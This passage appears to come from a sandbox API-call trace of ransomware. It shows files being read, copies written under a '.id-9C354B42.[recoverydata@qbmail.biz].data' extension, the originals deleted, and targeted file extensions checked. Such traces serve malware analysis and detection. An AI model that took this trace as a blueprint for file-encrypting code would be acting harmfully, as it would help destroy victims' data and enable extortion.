dwMilliseconds=0x64) returned 0x102 [0096.760] GetTickCount () returned 0x114a2e4 [0096.760] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0097.210] GetTickCount () returned 0x114a499 [0097.210] GetTickCount () returned 0x114a499 [0097.210] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0097.397] GetTickCount () returned 0x114a554 [0097.397] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0097.726] GetTickCount () returned 0x114a6ac [0097.726] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0098.710] GetTickCount () returned 0x114aa82 [0098.710] GetTickCount () returned 0x114aa82 [0098.710] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0099.713] GetTickCount () returned 0x114ae69 [0099.713] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0100.129] GetTickCount () returned 0x114afef [0100.129] GetTickCount () returned 0x114afef [0100.129] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0100.507] GetTickCount () returned 0x114b165 [0100.507] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0100.973] GetTickCount () returned 0x114b339 [0100.973] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) Thread: id = 9 os_tid = 0x7ac [0074.086] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10000) returned 0x39520c0 [0074.087] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10000) returned 0x39620c8 [0074.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6024d0 [0074.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x6028e0 [0074.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6024e8 [0074.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100000) returned 0x3dc0020 [0074.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x602500 [0074.088] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x602500, Size=0x20) returned 0x6097a0 [0074.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x602500 [0074.088] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x602500, Size=0x20) returned 0x6097c8 [0074.089] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0074.089] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0074.089] Wow64DisableWow64FsRedirection (in: OldValue=0x2acff58 | out: OldValue=0x2acff58*=0x0) returned 1 [0074.089] lstrlenW (lpString="kernel32.dll") returned 12 [0074.089] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6097a0 | out: hHeap=0x5b0000) returned 1 [0074.089] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0074.089] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6097c8 | out: hHeap=0x5b0000) returned 1 [0074.089] lstrcmpiW (lpString1=".ini", lpString2=".data") returned 1 [0074.089] lstrlenW (lpString="desktop.ini") returned 11 [0074.089] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0074.090] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=129) returned 1 [0074.090] CloseHandle (hObject=0x168) returned 1 [0074.090] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0074.090] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0074.090] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0074.090] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0074.090] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0074.090] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0074.092] GetLastError () returned 0x0 [0074.092] ReadFile (in: hFile=0x168, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x81, lpOverlapped=0x0) returned 1 [0074.113] WriteFile (in: hFile=0x16c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0x90, lpOverlapped=0x0) returned 1 [0074.115] ReadFile (in: hFile=0x168, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x0, lpOverlapped=0x0) returned 1 [0074.115] WriteFile (in: hFile=0x16c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0xea, lpOverlapped=0x0) returned 1 [0074.115] SetEndOfFile (hFile=0x16c) returned 1 [0074.115] CloseHandle (hObject=0x16c) returned 1 [0074.116] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0074.116] SetEndOfFile (hFile=0x168) returned 1 [0074.118] CloseHandle (hObject=0x168) returned 1 [0074.118] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x26) returned 1 [0074.118] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 1 [0074.119] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0074.119] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0074.119] lstrlenW (lpString=".doc") returned 4 [0074.119] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0074.119] lstrlenW (lpString=".docx") returned 5 [0074.119] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0074.119] lstrlenW (lpString=".pdf") returned 4 [0074.119] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0074.119] lstrlenW (lpString=".xls") returned 4 [0074.119] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0074.119] lstrlenW (lpString=".xlsx") returned 5 [0074.119] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0074.120] lstrlenW (lpString=".ppt") returned 4 [0074.120] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0074.120] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0074.120] lstrlenW (lpString=".zip") returned 4 [0074.120] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0074.120] lstrlenW (lpString=".rar") returned 4 [0074.120] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0074.120] lstrlenW (lpString=".bz2") returned 4 [0074.120] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0074.120] lstrlenW (lpString=".7z") returned 3 [0074.120] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0074.120] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0074.120] lstrlenW (lpString=".dbf") returned 4 [0074.120] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0074.120] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0074.120] lstrlenW (lpString=".1cd") returned 4 [0074.120] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0074.121] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0074.121] lstrlenW (lpString=".jpg") returned 4 [0074.121] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0074.121] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0074.121] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0074.121] lstrlenW (lpString=".doc") returned 4 [0074.121] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0074.121] lstrlenW (lpString=".docx") returned 5 [0074.121] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0074.121] lstrlenW (lpString=".pdf") returned 4 [0074.121] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0074.121] lstrlenW (lpString=".xls") returned 4 [0074.121] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0074.121] lstrlenW (lpString=".xlsx") returned 5 [0074.121] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0074.121] lstrlenW (lpString=".ppt") returned 4 [0074.121] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0074.121] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0074.122] lstrlenW (lpString=".zip") returned 4 [0074.122] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0074.122] lstrlenW (lpString=".rar") returned 4 [0074.122] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0074.122] lstrlenW (lpString=".bz2") returned 4 [0074.122] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0074.122] lstrlenW (lpString=".7z") returned 3 [0074.122] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0074.122] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0074.122] lstrlenW (lpString=".dbf") returned 4 [0074.122] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0074.122] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0074.122] lstrlenW (lpString=".1cd") returned 4 [0074.122] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0074.122] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0074.122] lstrlenW (lpString=".jpg") returned 4 [0074.122] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0074.325] Sleep (dwMilliseconds=0x64) [0075.037] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0075.037] lstrlenW (lpString="PowerPointMUI.xml") returned 17 [0075.037] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0075.161] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=1450) returned 1 [0075.161] CloseHandle (hObject=0x1ac) returned 1 [0075.161] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 0x2020 [0075.161] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0075.161] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0075.162] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0075.162] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0075.162] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0075.162] GetLastError () returned 0x0 [0075.162] ReadFile (in: hFile=0x1ac, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x5aa, lpOverlapped=0x0) returned 1 [0075.165] WriteFile (in: hFile=0x184, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0075.166] ReadFile (in: hFile=0x1ac, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x0, lpOverlapped=0x0) returned 1 [0075.166] WriteFile (in: hFile=0x184, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0xf6, lpOverlapped=0x0) returned 1 [0075.166] SetEndOfFile (hFile=0x184) returned 1 [0075.166] CloseHandle (hObject=0x184) returned 1 [0075.181] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0075.181] SetEndOfFile (hFile=0x1ac) returned 1 [0075.182] CloseHandle (hObject=0x1ac) returned 1 [0075.182] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0075.183] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 1 [0075.183] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0075.183] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0075.183] lstrlenW (lpString=".doc") returned 4 [0075.183] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0075.183] lstrlenW (lpString=".docx") returned 5 [0075.183] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0075.183] lstrlenW (lpString=".pdf") returned 4 [0075.183] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0075.183] lstrlenW (lpString=".xls") returned 4 [0075.184] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0075.184] lstrlenW (lpString=".xlsx") returned 5 [0075.184] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0075.184] lstrlenW (lpString=".ppt") returned 4 [0075.184] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0075.184] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0075.184] lstrlenW (lpString=".zip") returned 4 [0075.184] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0075.184] lstrlenW (lpString=".rar") returned 4 [0075.184] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0075.184] lstrlenW (lpString=".bz2") returned 4 [0075.184] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0075.184] lstrlenW (lpString=".7z") returned 3 [0075.184] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0075.184] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0075.184] lstrlenW (lpString=".dbf") returned 4 [0075.184] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0075.184] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0075.184] lstrlenW (lpString=".1cd") returned 4 [0075.184] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0075.184] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0075.184] lstrlenW (lpString=".jpg") returned 4 [0075.184] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0075.185] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0075.185] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0075.185] lstrlenW (lpString=".doc") returned 4 [0075.185] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0075.185] lstrlenW (lpString=".docx") returned 5 [0075.185] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0075.185] lstrlenW (lpString=".pdf") returned 4 [0075.185] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0075.185] lstrlenW (lpString=".xls") returned 4 [0075.185] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0075.185] lstrlenW (lpString=".xlsx") returned 5 [0075.185] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0075.185] lstrlenW (lpString=".ppt") returned 4 [0075.185] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0075.185] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0075.185] lstrlenW (lpString=".zip") returned 4 [0075.185] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0075.185] lstrlenW (lpString=".rar") returned 4 [0075.185] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0075.185] lstrlenW (lpString=".bz2") returned 4 [0075.185] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0075.185] lstrlenW (lpString=".7z") returned 3 [0075.185] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0075.186] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0075.186] lstrlenW (lpString=".dbf") returned 4 [0075.186] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0075.186] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0075.186] lstrlenW (lpString=".1cd") returned 4 [0075.186] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0075.186] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0075.186] lstrlenW (lpString=".jpg") returned 4 [0075.186] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0075.186] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0075.186] lstrlenW (lpString="Setup.xml") returned 9 [0075.187] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0075.187] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=1886) returned 1 [0075.187] CloseHandle (hObject=0x1ac) returned 1 [0075.187] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0075.187] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0075.187] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0075.187] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0075.187] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0075.187] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0075.188] GetLastError () returned 0x0 [0075.188] ReadFile (in: hFile=0x1ac, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x75e, lpOverlapped=0x0) returned 1 [0075.190] WriteFile (in: hFile=0x184, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0x760, lpOverlapped=0x0) returned 1 [0075.191] ReadFile (in: hFile=0x1ac, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x0, lpOverlapped=0x0) returned 1 [0075.191] WriteFile (in: hFile=0x184, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0075.191] SetEndOfFile (hFile=0x184) returned 1 [0075.191] CloseHandle (hObject=0x184) returned 1 [0075.192] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0075.192] SetEndOfFile (hFile=0x1ac) returned 1 [0075.193] CloseHandle (hObject=0x1ac) returned 1 [0075.193] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0075.194] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0075.194] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0075.194] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0075.194] lstrlenW (lpString=".doc") returned 4 [0075.194] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0075.194] lstrlenW (lpString=".docx") returned 5 [0075.194] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0075.194] lstrlenW (lpString=".pdf") returned 4 [0075.194] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0075.194] lstrlenW (lpString=".xls") returned 4 [0075.194] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0075.194] lstrlenW (lpString=".xlsx") returned 5 [0075.194] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0075.194] lstrlenW (lpString=".ppt") returned 4 [0075.194] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0075.195] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0075.195] lstrlenW (lpString=".zip") returned 4 [0075.195] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0075.195] lstrlenW (lpString=".rar") returned 4 [0075.195] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0075.195] lstrlenW 